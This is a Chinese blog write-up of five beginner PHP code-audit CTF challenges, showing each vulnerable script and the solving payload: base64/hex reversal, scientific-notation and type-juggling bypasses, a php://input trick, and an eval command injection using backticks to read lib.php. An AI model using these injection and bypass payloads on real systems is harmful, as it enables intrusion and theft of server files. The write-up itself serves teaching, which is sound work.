简单Php代码审计Write up
我对代码审计的题熟悉些,就把这部分先做完了。因为上面的题是来自以前各个ctf比赛和平台的一些题,我就把我的解题思路再写一下,算是总结归纳吧。
- php1
<?php error_reporting(0); require __DIR__.'/lib.php'; echo base64_encode(hex2bin(strrev(bin2hex($flag)))); highlight_file(__FILE__);
源码已经给出,毕竟第一题非常简单,可以看出就是一个简单的base64编码后进制转换后反转字符串再进制转换后将flag输出。strrev() 函数反转字符串。
这里有一个非常简单的办法,如果你vps上安装了php的话,直接用php来反解就能拿到flag了。用php -r 参数直接执行php代码即可,前提是。payload如下
php -r "echo hex2bin(strrev(bin2hex(base64_decode('1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY='))));"
- php2
<?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['time'])){ if(!is_numeric($_GET['time'])){ echo 'The time must be number.'; }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ echo 'This time is too short.'; }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ echo 'This time is too long.'; }else{ sleep((int)$_GET['time']); echo $flag; } echo '<hr>'; } highlight_file(__FILE__);
看代码是要求传参time,通过is_numric的判断,要大于5184000小于7776000,最后通过sleep函数,就可以输出flag。如果输入一个较大的数,会sleep很长时间。需要一个数大于5184000,然后int之后又要是一个很小的数。因为之前做过这类题,所以想到肯定是用科学计数法来绕过。那么6e6也就是6000000是满足条件的,payload如下。
http://47.240.12.171:23112/challenge2.php?time=6e6
- php3
一打开显示work harder!harder!harder!,直接f12发现有个challenge3.txt,打开发现是源码。
<?php error_reporting(0); echo "<!--challenge3.txt-->"; require __DIR__.'/lib.php'; if(!$_GET['id']){ header('Location: challenge3.php?id=1'); exit();} $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')){ echo 'Hahahahahaha'; return ;} $data = @file_get_contents($a,'r'); if($data==" " and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){ echo $flag;} else{ print "work harder!harder!harder!"; }
要求传入3个参数id,a,b,用stripos对a做了过滤,即a中不能出现点。看到后面的$data是用file_get_contents来读取a的内容,所以我们就可以用php伪协议来绕过。id绕过==0,随便一个字符串都可以只要不是数字就行。
strlen($b)>5 and eregi(“111″.substr($b,0,1),”1114″) and substr($b,0,1)!=4
然后就是绕eregi函数,这是这是一个正则匹配的函数,虽然通用思路是用00截断,但是这里”111”.substr($b,0,1) 是作为表达式而不是后面的匹配字符,熟悉正则表达式的朋友都知道,*是通配符,那么也可以用通配符来绕过,payload如下:
http://47.240.12.171:23113/challenge3.php?id=.&a=php://input&b=******
- php4
<?php error_reporting(0); show_source(__FILE__); $a = @$_REQUEST['hello']; eval("var_dump($a);");
这道题没有难度,$_REQUEST是接收get或post的数据,但是被var_dump输出后是无法被eval所执行的,所以需要在var_dump就完成命令执行。做个简单的试验
大家都知道反引号位 (`) 是可以执行命令的,所以直接执行命令,看当前目录下有哪些文件
猜测flag多半都在lib.php中,这里有个坑,如果你直接cat的话发现什么也没看到
因为php标签的缘故被浏览器给注释掉,需要去看页面源码才能看到flag。
当然可以换个方式读文件用tac命令,它和cat刚好相反,把文件按行号倒序输出。这样就能直接看到flag了。所以payload如下
http://47.240.12.171:23114/challenge4.php?hello=`tac lib.php`
- php5
<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ echo '<p>Login first!</p>'; ?>
审计代码我们可以得知两点:
1. 用户名密码不能相等
2. 用户名密码的sha1()需要===
而===只有在相同类型下,才会比较其值。所以我们可以传入其他类型的数据,比如数组类型。payload构造如下:
name[]=a&password[]=b
这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回NULL,if 条件成立,获得flag。
同时我自己也试验了一下,当sha1()传入非字符串类型时确实会报错,返回值为NULL。
赞赏微信赞赏支付宝赞赏
发表评论